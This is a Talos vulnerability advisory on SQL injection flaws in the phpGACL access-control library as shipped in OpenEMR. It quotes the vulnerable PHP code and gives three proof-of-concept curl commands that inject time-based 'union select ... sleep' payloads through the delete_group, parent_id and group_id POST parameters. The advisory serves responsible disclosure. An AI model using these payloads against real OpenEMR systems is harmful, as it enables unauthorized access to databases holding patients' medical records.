Talos Vulnerability Report

TALOS-2020-1179

phpGACL database multiple SQL injection vulnerabilities

JANUARY 27, 2021

CVE NUMBER

CVE-2020-13566, CVE-2020-13568

Summary

Multiple SQL injection vulnerabilities exist in phpGACL 3.3.7. A specially crafted HTTP request can lead to a SQL injection. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

OpenEMR 5.0.2
OpenEMR development version 6.0.0 (commit babec93f600ff1394f91ccd512bcad85832eb6ce)
phpGACL 3.3.7

Product URLs

http://phpgacl.sourceforge.net/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Details

phpGACL is a PHP library that allows developers to implement permission systems via a Generic Access Control List.

The latest version of this library has been found to be used in OpenEMR, as such the tests have been performed against an OpenEMR instance.

Across the whole codebase of phpGACL, SQL queries are built using string concatenation, and parameters are often not sanitized.

The following is an (incomplete) list of code paths that lead to SQL injection, caused by missing sanitization of the input parameters that can be injected by an attacker via GET or POST request. Note that similar vulnerable patterns can be seen in `edit_objects.php`, `edit_object_sections.php` and others.

CVE-2020-13566 - phpGACL database delete_group SQL injection

In `admin/edit_group.php`, when the POST parameter `action` is “Delete”, the POST parameter `delete_group` leads to a SQL injection:

```
...
switch ($_POST['action']) {
    case 'Delete':
        $gacl_api->debug_text('Delete');

        if (count($_POST['delete_group']) > 0) {
            //Always reparent children when deleting a group.
            foreach ($_POST['delete_group'] as $group_id) {
                $gacl_api->debug_text('Deleting group_id: '. $group_id);

                $result = $gacl_api->del_group($group_id, TRUE, $group_type);     [1]
                if ($result == FALSE) {
                    $retry[] = $group_id;
                }
            }
...
```

The `delete_group` parameter is sent to the function `del_group` unsanitized:

```
function del_group($group_id, $reparent_children=TRUE, $group_type='ARO') {
        switch(strtolower(trim($group_type))) {
                case 'axo':
                        $group_type = 'axo';
                        $table = $this->_db_table_prefix .'axo_groups';
                        $groups_map_table = $this->_db_table_prefix .'axo_groups_map';
                        $groups_object_map_table = $this->_db_table_prefix .'groups_axo_map';
                        break;
                default:
                        $group_type = 'aro';
                        $table = $this->_db_table_prefix .'aro_groups';
                        $groups_map_table = $this->_db_table_prefix .'aro_groups_map';
                        $groups_object_map_table = $this->_db_table_prefix .'groups_aro_map';
                        break;
        }

        $this->debug_text("del_group(): ID: $group_id Reparent Children: $reparent_children Group Type: $group_type");

        if (empty($group_id) ) {
                $this->debug_text("del_group(): Group ID ($group_id) is empty, this is required");
                return false;
        }

        // Get details of this group
        $query = 'SELECT id, parent_id, name, lft, rgt FROM '. $table .' WHERE id='. $group_id;     [2]
        $group_details = $this->db->GetRow($query);
```

As we can see, the only sanitized argument is `group_type`, while `group_id` (former `delete_group`) is appended to the query unsanitized [2].

Exploit Proof of Concept

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

```
curl -v -H "Cookie: $cookie" -d "action=Delete&delete_group[0]=1234 union select 1,2,3,4,sleep(3)"
"http://openemr.dev/gacl/admin/edit_group.php?site=default"
```

CVE-2020-13567 - phpGACL database parent_id SQL injection

Again in `admin/edit_group.php`, when the POST parameter `action` is “Submit”, the POST parameter `parent_id` leads to a SQL injection:

```
...
case 'Submit':
    $gacl_api->debug_text('Submit');

    if (empty($_POST['parent_id'])) {
        $parent_id = 0;
    } else {
        $parent_id = $_POST['parent_id'];                                                                   [1]
    }

    //Make sure we're not reparenting to ourself.
    if (!empty($_POST['group_id']) AND $parent_id == $_POST['group_id']) {
        echo "Sorry, can't reparent to self!<br />\n";
        exit;
    }

    //No parent, assume a "root" group, generate a new parent id.
    if (empty($_POST['group_id'])) {
        $gacl_api->debug_text('Insert');

        $insert_id = $gacl_api->add_group($_POST['value'], $_POST['name'], $parent_id, $group_type);          [2]
    } else {
        $gacl_api->debug_text('Update');

        $gacl_api->edit_group($_POST['group_id'], $_POST['value'], $_POST['name'], $parent_id, $group_type);
    }
...
```

The parameter `parent_id` is passed to both `add_group` [2] and `edit_group` [3] unsanitized [1].

```
function add_group($value, $name, $parent_id=0, $group_type='ARO') {
        switch(strtolower(trim($group_type))) {
                case 'axo':
                        $group_type = 'axo';
                        $table = $this->_db_table_prefix .'axo_groups';
                        break;
                default:
                        $group_type = 'aro';
                        $table = $this->_db_table_prefix .'aro_groups';
                        break;
        }

        $this->debug_text("add_group(): Name: $name Value: $value Parent ID: $parent_id Group Type: $group_type");

        $name = trim($name);
        $value = trim($value);

        if ( $name == '' ) {
                $this->debug_text("add_group(): name ($name) OR parent id ($parent_id) is empty, this is required");
                return false;
        }

        //This has to be outside the transaction, because the first time it is run, it will say the sequence
        //doesn't exist. Then try to create it, but the transaction will already by aborted by then.
        $insert_id = $this->db->GenID($this->_db_table_prefix.$group_type.'_groups_id_seq',10);
        if ( $value === '' ) {
                $value = $insert_id;
        }

        $this->db->BeginTrans();

        // special case for root group
        if ($parent_id == 0) {
            ...
        } else {
                 if (empty($parent_id)) {
                        $this->debug_text("add_group (): parent id ($parent_id) is empty, this is required");
                        $this->db->RollbackTrans();
                        return FALSE;
                 }

                 // grab parent details from database
                 $query = 'SELECT id, lft, rgt FROM '. $table .' WHERE id='. $parent_id;                    [4]
                 $row = $this->db->GetRow($query);
```

The function `add_group` does not sanitize the `parent_id` at [4], which leads to a SQL injection.

```
function edit_group($group_id, $value=NULL, $name=NULL, $parent_id=NULL, $group_type='ARO') {
        ...
        $set = array();

        // update name if it is specified.
        if (!empty($name)) {
                $set[] = 'name='. $this->db->quote($name);
        }

        // update parent_id if it is specified.
        if (!empty($parent_id)) {
                $set[] = 'parent_id='. $parent_id;                                      [5]
        }

        // update value if it is specified.
        if (!empty($value)) {
                $set[] = 'value='. $this->db->quote($value);
        }

        if (empty($set)) {
                $this->debug_text('edit_group(): Nothing to update.');
                return FALSE;
        }

        $this->db->BeginTrans();

        $query  = 'UPDATE '. $table .' SET '. implode(',', $set) .' WHERE id='. $group_id;   [6]
        $rs = $this->db->Execute($query);

        if (!is_object($rs)) {
                $this->debug_db('edit_group');
                $this->db->RollbackTrans();
                return FALSE;
        }
```

The function `edit_group` does not sanitize the `parent_id` at [5], which leads to a SQL injection at [6].

Exploit Proof of Concept

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

```
curl -v -H "Cookie: $cookie" -d "action=Submit&parent_id=1234 union select 1,2,sleep(3)&name=1"
"http://openemr.dev/gacl/admin/edit_group.php?site=default"
```

CVE-2020-13568 - phpGACL database group_id SQL injection

Again in `admin/edit_group.php`, when the POST parameter `action` is “Submit”, the POST parameter `group_id` leads to a SQL injection:

```
...
case 'Submit':
    $gacl_api->debug_text('Submit');

    if (empty($_POST['parent_id'])) {
        $parent_id = 0;
    } else {
        $parent_id = $_POST['parent_id'];                                                                    [1]
    }

    //Make sure we're not reparenting to ourself.
    if (!empty($_POST['group_id']) AND $parent_id == $_POST['group_id']) {
        echo "Sorry, can't reparent to self!<br />\n";
        exit;
    }

    //No parent, assume a "root" group, generate a new parent id.
    if (empty($_POST['group_id'])) {
        $gacl_api->debug_text('Insert');

        $insert_id = $gacl_api->add_group($_POST['value'], $_POST['name'], $parent_id, $group_type);          [2]
    } else {
        $gacl_api->debug_text('Update');

        $gacl_api->edit_group($_POST['group_id'], $_POST['value'], $_POST['name'], $parent_id, $group_type);  [3]
    }
...
```

Like before, `group_id` is passed to `edit_group` [2] unsanitized:

```
function edit_group($group_id, $value=NULL, $name=NULL, $parent_id=NULL, $group_type='ARO') {
        $this->debug_text("edit_group(): ID: $group_id Name: $name Value: $value Parent ID: $parent_id Group Type: $group_type");

        switch(strtolower(trim($group_type))) {
                case 'axo':
                        $group_type = 'axo';
                        $table = $this->_db_table_prefix .'axo_groups';
                        break;
                default:
                        $group_type = 'aro';
                        $table = $this->_db_table_prefix .'aro_groups';
                        break;
        }

        if (empty($group_id) ) {
                $this->debug_text('edit_group(): Group ID ('. $group_id .') is empty, this is required');
                return FALSE;
        }

        if ( !is_array($curr = $this->get_group_data($group_id, $group_type)) ) {      [4]
                $this->debug_text('edit_group(): Invalid Group ID: '. $group_id);
                return FALSE;
        }
        ...
```

The function `edit_group` calls `get_group_data` at [4], using the unsanitized `group_id`:

```
function get_group_data($group_id, $group_type = 'ARO') {

        $this->debug_text("get_group_data(): Group_ID: $group_id Group Type: $group_type");

        switch(strtolower(trim($group_type))) {
                case 'axo':
                        $group_type = 'axo';
                        $table = $this->_db_table_prefix .'axo_groups';
                        break;
                default:
                        $group_type = 'aro';
                        $table = $this->_db_table_prefix .'aro_groups';
                        break;
        }

        if (empty($group_id) ) {
                $this->debug_text("get_group_data(): ID ($group_id) is empty, this is required");
                return false;
        }

        $query  = 'SELECT id, parent_id, value, name, lft, rgt FROM '. $table .' WHERE id='. $group_id;  [5]
        //$rs = $this->db->Execute($query);
        $row = $this->db->GetRow($query);

        if ($row) {
                return $row;
        }

        $this->debug_text("get_object_data(): Group does not exist.");
        return false;
}
```

We can see at [5] that `group_id` is concatenated to the `query`, leading to a SQL injection.

Exploit Proof of Concept

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

```
curl -v -H "Cookie: $cookie" -d "action=Submit&parent_id=1234&group_id=1234 union select 1,2,3,4,5,sleep(3)"
"http://openemr.dev/gacl/admin/edit_group.php?site=default"
```

Timeline

2020-10-23 - Vendor Disclosure

2021-01-05 - Vendor Patched

2021-01-27 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2020-1180

NEXT REPORT TALOS-2020-1190
